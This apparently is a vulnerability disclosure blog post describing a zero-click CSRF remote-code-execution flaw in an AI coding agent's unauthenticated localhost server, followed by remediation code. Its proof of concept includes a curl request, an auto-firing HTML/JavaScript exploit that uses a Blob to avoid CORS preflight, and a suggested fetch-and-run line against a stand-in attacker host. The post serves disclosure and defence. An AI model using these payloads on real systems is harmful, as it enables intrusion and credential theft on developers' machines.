Disclaimer: Throughout this post, we use the fictional company name “Acme, Inc” and product name “TrustMe AI” as aliases. We are not permitted to reveal the real company or product names. Any resemblance to actual company or product names is purely coincidental.
TL;DR
A popular AI coding agent quietly spins up a local web server with an API endpoint that executes arbitrary system commands – with zero authentication and zero CSRF protection. Any website you visit can silently fire a POST request to this local server and pop a shell on your box. Zero clicks required.
Introduction
I was poking around on a machine running an AI coding assistant – the kind that plugs into your editor, helps you write code, and automates development workflows. These tools are becoming standard equipment for developers. But they need deep system access to do their jobs, and that got me wondering: what exactly are they running behind the scenes?
A quick process listing later, I was staring at a local web server bound to a high port, serving up full API documentation to anyone who asked. Within minutes, I had a working proof of concept that could execute arbitrary commands on the host machine – triggered by nothing more than visiting a webpage. No clicks, no popups, no permission prompts. Just silent, full-blown remote code execution.
This is the story of how I found a critical zero-click RCE in Acme, Inc’s TrustMe AI agent.
Background / Prerequisites
Before we dive in, let’s cover some foundational concepts.
What’s going on under the hood?
When you install certain AI coding agents as editor extensions, the extension doesn’t do all the heavy lifting itself. Instead, it downloads a CLI binary and runs it as a background process. This CLI binary often starts a local web server to expose an API – essentially giving the extension (and anything else that can reach it) a way to invoke tools, run commands, and interact with the underlying system.
This architecture makes sense from a development standpoint. The extension talks to the local server over HTTP, and the server handles the messy business of executing tools on the host. The problem arises when that local server is left wide open.
What is CSRF?
Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks your browser into sending a request to a different site – one you might be authenticated with or, in this case, one running on your localhost. The browser happily sends the request because, as far as it’s concerned, it’s just another HTTP call. If the target server doesn’t validate where the request came from, it processes it blindly.
Why localhost services are dangerous
There’s a common misconception that services bound to localhost (127.0.0.1) are safe from remote attack. They’re not directly reachable from the internet, sure. But your browser can reach them. And your browser will happily send requests to localhost:35000 if a webpage tells it to. This is the classic localhost attack surface, and it bites more often than you’d think.
Discovery
It started with a simple process listing. I was curious what the TrustMe AI agent was actually running under the hood. So, I tried my recon with the ps command and found an interesting process:
.../acme.trustmecode/trustmecode-bin/1.4.7/trust_me_cli server 35000 ...
Interesting. A CLI binary is called trust_me_cli spinning up a web server on port 35000. My first instinct was to check if it had any kind of web interface.
http://localhost:35000/docs
Jackpot. A fully rendered, publicly accessible API documentation page – no auth required. It listed every endpoint the server exposed, complete with parameter schemas and example payloads.
Note for researchers: Always check for
/docs,/swagger,/openapi.json, and similar paths when you find an unknown HTTP service. Auto-generated API docs are a goldmine during recon.
One endpoint immediately caught my eye: POST /v2/execute. According to the docs, it accepted a JSON body with a tool_name and arguments field. One of the available tools? bash.
Let that sink in. An unauthenticated HTTP endpoint that lets you specify bash as the tool and pass in an arbitrary command string. The CLI’s web server was essentially offering a remote shell to anyone who could reach it.
Technical Deep Dive
Let’s break down exactly why this is exploitable.
The vulnerable endpoint
POST http://localhost:35000/v2/execute
Content-Type: application/json
{
"tool": "bash",
"args": "<arbitrary system command>"
}
The CLI binary starts this web server to service requests from the editor extension. But it binds to a TCP port on localhost without any access controls – meaning anything on the machine (or anything the browser can be tricked into sending) can hit it.
What’s missing – authentication
The endpoint performs zero identity verification. No API key, no bearer token, no session cookie, no mTLS certificate – nothing. Any process that can reach localhost:35000 can invoke this endpoint.
What’s missing – CSRF protection
The server implements none of the standard CSRF defenses:
- No anti-CSRF tokens
- No
Originheader validation - No
Refererheader checking - No restrictive
Content-Typeenforcement (the server happily accepts requests with blob content types, bypassing the browser’s preflight CORS check)
This is the critical part. Without CSRF protection, the attack isn’t limited to malicious processes on the local machine. It extends to any website the user visits in their browser.
The attack flow
Here’s how the attack works, step by step:
Victim's Browser Malicious Website CLI's Local Web Server
| | |
| --- visits webpage -----------> | |
| | |
| <-- serves malicious JS ------ | |
| | |
| --- POST localhost:35000/v2/execute --------------------------> |
| (tool: bash, args: <payload>) |
| | |
| | executes command |
| | as current user |
The browser sends the request directly to localhost. No server-side proxy needed. No DNS rebinding tricks. Just a plain XMLHttpRequest to http://localhost:35000.
Exploitation / Proof of Concept
Step 1: Confirm via curl
First, a direct test to confirm the endpoint is alive and unprotected.
curl -X POST 'http://localhost:35000/v2/execute' \
-H 'Content-Type: application/json' \
-d '{
"tool": "bash",
"args": "whoami"
}'
This returns the output of the whoami commands, confirming arbitrary command execution with the privileges of the user running the agent.
Step 2: Zero-click RCE via a malicious webpage
Here’s the weaponized version. Host this HTML on any public web server.
<html>
<body>
<script>
function exploit() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:35000/v2/execute", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.withCredentials = true;
// The payload change "open -a calculator" to any command
var payload = JSON.stringify({
"tool": "bash",
"args": "open -a calculator" // open calculator app in macos
});
// Send as a Blob to avoid triggering a CORS preflight request.
// The browser treats Blob with no explicit type as opaque,
// which means it sends as a "simple request" - no OPTIONS check.
var bytes = new Uint8Array(payload.length);
for (var i = 0; i < bytes.length; i++)
bytes[i] = payload.charCodeAt(i);
xhr.send(new Blob([bytes]));
}
// Fire immediately on page load - zero clicks needed
exploit();
</script>
</body>
</html>
Why the Blob trick? Normally, sending
Content-Type: application/jsonvia XHR would trigger a CORS preflightOPTIONSrequest, which the server would likely reject (since it doesn’t implement CORS headers). By wrapping the JSON payload in aBlob, the browser sends it without a preflight. The server still parses the body as JSON regardless of the content type. This is a well-known technique for bypassing browser-side CORS restrictions in CSRF attacks.
Reproduction steps:
- Host the HTML file above on any web server.
- On a machine running the vulnerable AI agent, open that URL in a browser.
- The
exploit()function fires on page load – no interaction needed. - The browser sends the POST request to the CLI’s local web server.
- The server executes the command. Calculator pops open.
Replace open -a calculator with curl https://attacker.example.com/shell.sh | bash for a more realistic (and terrifying) attack scenario.
Impact
This vulnerability is about as severe as it gets. A successful exploit gives an attacker full remote code execution with the privileges of the user running the AI agent, which, on most developer machines, is the primary user account.
An attacker can:
- Exfiltrate sensitive data – SSH keys, cloud credentials, environment variables, browser cookies, password manager databases, source code.
- Install persistent malware – Keyloggers, reverse shells, crypto miners, and whatnot.
- Pivot to internal networks – Developer machines often have VPN access and SSH keys to production infrastructure. One compromised dev box can be the foothold into an entire corporate network.
The zero-click nature makes this especially dangerous. The victim doesn’t need to click anything, accept any prompt, or do anything out of the ordinary. They just need to visit a webpage, which could be delivered via a phishing email, an ad, a forum post, or even an injected script on a compromised legitimate site.
Remediation
Here are the fixes, in order of priority.
1. Implement authentication on all endpoints (critical)
Every endpoint on the local server must require authentication. A token-based approach is the simplest for a local service.
# Example: token-based auth middleware
import secrets
# Generate a session token on startup, store it where only
# the parent process (the editor extension) can read it
AUTH_TOKEN = secrets.token_urlsafe(32)
def authenticate_request(request):
token = request.headers.get("Authorization")
if token != f"Bearer {AUTH_TOKEN}":
return Response(status=403, body="Unauthorized")
return None # Auth passed, continue to handler
The token should be generated at startup and passed to the editor extension through a secure channel (e.g., written to a file with restrictive permissions, or passed via environment variable).
2. Implement CSRF protection (critical)
Even with authentication, add defense-in-depth against CSRF:
def validate_origin(request):
origin = request.headers.get("Origin")
# Only allow requests from the editor extension's origin
# Reject all browser-initiated cross-origin requests
if origin is not None and origin != "vscode-webview://trusted-extension-id":
return Response(status=403, body="Invalid origin")
return None
Additionally, enforce Content-Type: application/json strictly. Reject requests that don’t include this exact header – this alone would block the Blob-based CSRF bypass, since the browser can’t send application/json without triggering a preflight.
3. Restrict the bash tool
Even with authentication, giving a network-exposed endpoint direct shell access is risky. Consider:
- Whitelisting specific commands rather than allowing arbitrary bash execution.
- Running commands in a sandboxed environment.
- Requiring explicit user confirmation for destructive operations.
Key Takeaways
- Localhost is not a security boundary. Any service listening on localhost can be reached by any website the user visits, via the browser. Always authenticate and validate origins.
- AI agent tooling is a growing attack surface. As AI coding assistants become ubiquitous, their local infrastructure becomes a high-value target. These tools often need deep system access which makes their security posture critically important.
- CSRF is alive and well. The Blob trick to bypass CORS preflight checks is not new, but it catches developers off guard. If your server parses JSON from the request body regardless of Content-Type, you’re vulnerable.
- Auto-generated API docs are a recon goldmine. If you’re building a local service, don’t expose
/docsor/swaggerendpoints in production builds. - Defense in depth matters. Authentication alone isn’t enough. Combine it with origin validation, content-type enforcement, random ports, and principle of least privilege.
- Check what your tools are running. As a developer, periodically audit what processes your IDE extensions and AI tools are spinning up. A quick
ps auxandnetstatcan reveal surprising things.

Leave a Reply